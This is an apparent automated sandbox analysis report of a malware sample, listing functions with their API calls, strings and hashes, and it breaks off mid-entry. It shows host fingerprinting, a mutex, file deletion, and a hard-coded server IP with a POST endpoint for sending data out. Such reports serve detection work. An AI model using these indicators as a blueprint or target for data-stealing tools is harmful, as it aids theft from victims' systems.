Instruction ID: 1c491e64ff413298b4a98f6dd5121dc38a1220311df394be294a91777e8cae40
Opcode Fuzzy Hash: 50f429fd5c00bef8b35697c12d38414090c3928e8657d90d2d7982637db81069
Instruction Fuzzy Hash: D141EDB5E00218ABCF14DFA8D9A5AEF77B5AF59300F1485A8F90597281EB34AB40CB50

Function 001917E0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalHandle.KERNEL32(00000000), ref: 001918C8

Strings

l, xrefs: 001919A3

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: GlobalHandle
String ID: l
API String ID: 1075865800-2517025534
Opcode ID: e3975b31335fedd46d34115aca8a69f79438400aaa77e8c82c8e3974630c03b1
Instruction ID: a1617e16d1fb0ad4456cb9066c77e2625da379653a6284c83116c101cd86ebc2
Opcode Fuzzy Hash: e3975b31335fedd46d34115aca8a69f79438400aaa77e8c82c8e3974630c03b1
Instruction Fuzzy Hash: FF919374E05249EFCF08CF98D590AADBBB2FF48308F248199D915AB345D730AA91DF94

Function 00198CA0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,00193271,00193147), ref: 00198CAA

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 8dafc0fd3e50f440229e4450dcd0c3b7b59951f1e94a4ea218124536a1c2a8d3
Instruction ID: cd79f90f5b27da9de2163c091ea039fe00ad13085a2218df904306e926b814dd
Opcode Fuzzy Hash: 8dafc0fd3e50f440229e4450dcd0c3b7b59951f1e94a4ea218124536a1c2a8d3
Instruction Fuzzy Hash: 62D0A97490020C8BCB00DF90C84889AB7FDAF48200F0081A5EC4847300EA32A9568BD1

Function 00193D50 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: cbae8bdaf470c6a5cd34aafb2b40ce8b47aa4a6b33389a633a39b64f225c1ae7
Instruction ID: 2a7688bb57c4dc14c89101ff728fafd3c80fbf3e08f1858384674206c9b23770
Opcode Fuzzy Hash: cbae8bdaf470c6a5cd34aafb2b40ce8b47aa4a6b33389a633a39b64f225c1ae7
Instruction Fuzzy Hash: 90412630A08205EBDF14CFA4E991B69B7B6EB85304F2481A9E5114F7D9D736DF82CB50

Function 00192810 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0u0u, xrefs: 00192873, 00192876
0u0u, xrefs: 00192848, 0019284E, 00192864, 00192879, 0019288E, 001928A7, 001928B4, 001928BA, 001928C9, 001928DC, 001928E1, 001928EF, 00192902, 00192908, 001928CC, 001928F2
`, xrefs: 0019281D
0u, xrefs: 00192824
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.4, xrefs: 0019283D
45.125.66.18, xrefs: 001928A2

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID:
String ID: 0u$0u0u$0u0u$45.125.66.18$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.4$`
API String ID: 0-2265949662
Opcode ID: dbfcf35f5a5ee36c41404830a31fbd680e3191060b4ae51d94db979815185901
Instruction ID: d1753ada8403b3e3380677d5f56de6a9bcfa11c100310a18dd4613d770205be7
Opcode Fuzzy Hash: dbfcf35f5a5ee36c41404830a31fbd680e3191060b4ae51d94db979815185901
Instruction Fuzzy Hash: 3D310874644308BFEB10CF50DC86FA97BA5BB08741F20C159FA099F2D1C3B5AA85CB85

Function 00191D30 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNELBASE(00000000,00000000,082e2202-17f7-4654-a651-ac9a3778e1d7), ref: 00191D43
GetLastError.KERNEL32 ref: 00191D52
Sleep.KERNELBASE(00001388), ref: 00191E1C
CloseHandle.KERNEL32(00000000), ref: 00191E3A
ExitProcess.KERNEL32 ref: 00191E42

Strings

082e2202-17f7-4654-a651-ac9a3778e1d7, xrefs: 00191D3A

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: CloseCreateErrorExitHandleLastMutexProcessSleep
String ID: 082e2202-17f7-4654-a651-ac9a3778e1d7
API String ID: 168847217-1460249064
Opcode ID: fca84eac6b69e47a5d9baa8f70aeb7c1efe893e37b84fffa0d4beedc32acd9dc
Instruction ID: 299b476a326ce3eab44841a258c7527bf21058f3736dd15412114802dc7d4e04
Opcode Fuzzy Hash: fca84eac6b69e47a5d9baa8f70aeb7c1efe893e37b84fffa0d4beedc32acd9dc
Instruction Fuzzy Hash: 9131B6B1D0021AFBDF24EBA4D845BED77B5BF14700F144066F805B2581DB359AD4DBA2

Function 00192E60 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 165
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 001930A4

Part of subcall function 00191EA0: RtlAllocateHeap.NTDLL(02590000,00000008,00193D82), ref: 00191EB0

Strings

/api/receiver/recv, xrefs: 00192F3C
Content-Type: application/octet-stream, xrefs: 0019304F
POST, xrefs: 00192F41

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: AllocateHeapSleep
String ID: /api/receiver/recv$Content-Type: application/octet-stream$POST
API String ID: 4201116106-1595302217
Opcode ID: 54530706ed8a2d79dbefc79afbe743917a931af03a4e792ca7b0ee56a4a45d3d
Instruction ID: a0c18d364692d58c32c12bbf1849f6e3eb0edc89338cded800b960b0d120ddc3
Opcode Fuzzy Hash: 54530706ed8a2d79dbefc79afbe743917a931af03a4e792ca7b0ee56a4a45d3d
Instruction Fuzzy Hash: 8D7167B8A00219EBCB14CF84D584ABDBBB1FF48714F608198F9565B381D775EE81DB90

Function 00193EF0 Relevance: 3.8, APIs: 3, Instructions: 35
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00000015,00003000,00000040,?,00193D5B,?,00191D86,?), ref: 00193EFE
VirtualAlloc.KERNELBASE(00000000,00000015,00003000,00000040,?,00193D5B,?,00191D86,?), ref: 00193F21

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 11e146ce3b3fc8aba9176f74902bc98f31fc8b6cbcbbecd3ead5fb1d5e853737
Instruction ID: 8510be32cfd70a93fe9decb5c7b829cccde207cb057648e2be1f3e43ddb5c41c
Opcode Fuzzy Hash: 11e146ce3b3fc8aba9176f74902bc98f31fc8b6cbcbbecd3ead5fb1d5e853737
Instruction Fuzzy Hash: C1F0D070A8E318EEEB645B71BEDEB1535B45308B16F100426B716AD5D0E3B452C09A1A

Function 00192BD0 Relevance: 3.1, APIs: 2, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 00192C96

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 64861559b6c049f639723116096c04e50082244f46ca104e0174082016f35af9
Instruction ID: f61aecbff6d7ff2d41ffa2a2d216a0dfcce773b62692a8a826696d899dc56a7d
Opcode Fuzzy Hash: 64861559b6c049f639723116096c04e50082244f46ca104e0174082016f35af9
Instruction Fuzzy Hash: 9151F274A00209EFDF18CF94D998BAEB7B1BF48304F208199E9056B291C775EE85DF91

Function 00198CC0 Relevance: 3.0, APIs: 2, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(00193265,00193265,00193147,?,?,?,?,?,?,?,?,?,00193147), ref: 00198CCA
__aulldiv.LIBCMT ref: 00198CE3

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem__aulldiv
String ID:
API String ID: 3833932492-0
Opcode ID: 4df88f184aa35fde41e30eed0d39220559dc2f7a53c7003a028c1c41d959b24c
Instruction ID: 88af7ab474bff0e88aefa0d72ceebf818fc3d6da14601d631ed60ad50751ae45
Opcode Fuzzy Hash: 4df88f184aa35fde41e30eed0d39220559dc2f7a53c7003a028c1c41d959b24c
Instruction Fuzzy Hash: C8E08C38604208B7CF00DFE0DC45B9A777CAB48700F0081A9B908A7280DF31AA01C7E5

Function 00198C70 Relevance: 3.0, APIs: 2, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000000), ref: 00198C75
GetSystemMetrics.USER32(00000001), ref: 00198C86

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 365337688-0
Opcode ID: acc6e3f917002cb393e7bebcc8fa76269b1114e8605c2d05314830a60851bc33
Instruction ID: 353d141b17f8b9f6255c5ada491d7eff40bd7bd981b66796a2882a1aaa30915b
Opcode Fuzzy Hash: acc6e3f917002cb393e7bebcc8fa76269b1114e8605c2d05314830a60851bc33
Instruction Fuzzy Hash: 72D0C934144308EFD700DF91D809B94BBA8FF48751F54C176FD8D4A781DAB255858BE2

Function 00191110 Relevance: 1.6, APIs: 1, Instructions: 147
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(?), ref: 001912CC

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 8ddea9995c81336d6a2b874a67162a43d234dd7530704bf9b3e8413c78ab841a
Instruction ID: f27c209b3b3ca0f2ab6ab9e72b3773a23395c1752621952007e6394637d71934
Opcode Fuzzy Hash: 8ddea9995c81336d6a2b874a67162a43d234dd7530704bf9b3e8413c78ab841a
Instruction Fuzzy Hash: 7251B674D08159BBCF04DFA4C890BEEBBB6AF95314F1881A8E8559B342C335EB91CB51

Function 00191060 Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,-00000209), ref: 0019109E

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 1895b19786a9fb08cd6d77f4459d1eb3450abbd1ff4669e3148856eb82923426
Instruction ID: 6fee465d0f52d78735461c75e0789ef6abba060622802256b1a1157168b76c96
Opcode Fuzzy Hash: 1895b19786a9fb08cd6d77f4459d1eb3450abbd1ff4669e3148856eb82923426
Instruction Fuzzy Hash: F81142B5A04208BBDB00DF98C855FEE7775EF44314F14C168FA289B2C2D7769A41CB90

Function 001912F0 Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetFolderPathW.SHELL32(00000000,10428910,00000000,00000000,00192520), ref: 00191321

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 720b6e9f2aadbcc30fd74682df808e317a8d51cf591768fc0630d0a4816bef73
Instruction ID: 62642c4141502e180fa5a752c5c79ed7638a72c610dbe5cec65941b6ff13506f
Opcode Fuzzy Hash: 720b6e9f2aadbcc30fd74682df808e317a8d51cf591768fc0630d0a4816bef73
Instruction Fuzzy Hash: 95015EB0600208BBDB04CF48CC55FEA7378EB44314F1482A8FA194B2C2D775AB84CB94

Function 00198B90 Relevance: 1.5, APIs: 1, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 00198BA0

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: CurrentProfile
String ID:
API String ID: 2104809126-0
Opcode ID: 1c15b96e27df9424ba9b1e2e2f44ab5cd215c35183500fd084a808e51944decc
Instruction ID: 823dfbf6428028509bdc459738a6c812f428a0e78310050f453e7921cb9c14c4
Opcode Fuzzy Hash: 1c15b96e27df9424ba9b1e2e2f44ab5cd215c35183500fd084a808e51944decc
Instruction Fuzzy Hash: 90F0FFB090410CABCF04DB64D891BBE3B79EB41304F18C1A9F90656285EB31DB448B51

Function 00192060 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da79f7f49f10b24e42cee1365696f61a6de605d49261fddc7ac32c7ba1ef4680
Instruction ID: f73625c4d9bdde4a23211141e431d5b5b91a4abb60062fee6f9f401817a66bf2
Opcode Fuzzy Hash: da79f7f49f10b24e42cee1365696f61a6de605d49261fddc7ac32c7ba1ef4680
Instruction Fuzzy Hash: CDE0DFB6A04208FFDF009FA0E888BAB33A8AB44720F08C414F90E8B110C331D980CB91

Function 00191CA0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00191CD0

Part of subcall function 00191E50: HeapCreate.KERNELBASE(00000000,00000000,00000000,?,00191CB1,?,00191D86,?), ref: 00191E59

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: CreateExitHeapProcess
String ID:
API String ID: 611137554-0
Opcode ID: f2745f8180ff4c3e8a2caa45e87a729228c3425341716613d1e5377fbe4fcccd
Instruction ID: ab53a9b36e1be4b3bb15079d64f794a8fdb5c3260b06117be71adeefc5762bf5
Opcode Fuzzy Hash: f2745f8180ff4c3e8a2caa45e87a729228c3425341716613d1e5377fbe4fcccd
Instruction Fuzzy Hash: 15D06765B8570776EE6037B25E0676A36CC5F22784F880821BE08C5696FB65ED9082A2

Function 00191EE0 Relevance: 1.5, APIs: 1, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(02590000,00000000,00000000,009C0000), ref: 00191EFE

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 96807a4a7003ef08c04f1c74191c82191d844e8b991f2520271e7c67c1bab140
Instruction ID: 81387e2ecb43f9d187735a63daf8c0aa69fd7456bed5b1d32184c01f68e4169f
Opcode Fuzzy Hash: 96807a4a7003ef08c04f1c74191c82191d844e8b991f2520271e7c67c1bab140
Instruction Fuzzy Hash: B2E0177050920CFBDB14CF98EA88BAE7BF8EB08705F104199F90887790D771AE80CB91

Function 00191E50 Relevance: 1.5, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00000000,00000000,?,00191CB1,?,00191D86,?), ref: 00191E59

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: fea00a7663e4d7b498f234a5014004a818db611b8c7240c319fa5fdcf8ae5e83
Instruction ID: c65f560b6f5dee84a4ac538ea6ddecf2a3f09f41b67b216d37fd85543fca74c5
Opcode Fuzzy Hash: fea00a7663e4d7b498f234a5014004a818db611b8c7240c319fa5fdcf8ae5e83
Instruction Fuzzy Hash: 09D01230668309FBF7205760BD89B153694A304B55F100432FD0A895F0E3B164C04614

Function 00191EA0 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(02590000,00000008,00193D82), ref: 00191EB0

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f4905e0ff291d6595c1ae9d04c43c2798dafa3bd2a95f8235b5af776cb240d87
Instruction ID: da345d6efd461fe1627a04968e25969d5a36c8c2d3841ed10ee773e776b4f34c
Opcode Fuzzy Hash: f4905e0ff291d6595c1ae9d04c43c2798dafa3bd2a95f8235b5af776cb240d87
Instruction Fuzzy Hash: B9C04C75164208ABD6049B94FE99E6A3BACA748A00F444519B6094A550DB61A8408750

Function 00192DB0 Relevance: 1.3, APIs: 1, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000003E8), ref: 00192E41

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_190000_V6ZsDcgx4N.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 8235c94547f327b29930af424654b69cffd98ef84b1a1409b74bfc6391310cd8
Instruction ID: f0b27125cc05f05b784c288e552ad1a2a73cb2f124fb4f03a109f75100263ced
Opcode Fuzzy Hash: 8235c94547f327b29930af424654b69cffd98ef84b1a1409b74bfc6391310cd8
Instruction Fuzzy Hash: CA113678A00208F7CB18CF88D490AB9B7B5FF58305F608198F9068B381E735DE91E7A0

Function 00192A60 Relevance: 1.3, APIs: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000001,00000C58,00000001), ref: 00192AF6

Memory Dump Source

Source File: 00000000.00000002.2522747769.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000000.00000002.2522726929.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522766252.000000000019A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522782172.000000000019B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522797454.000000000019C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

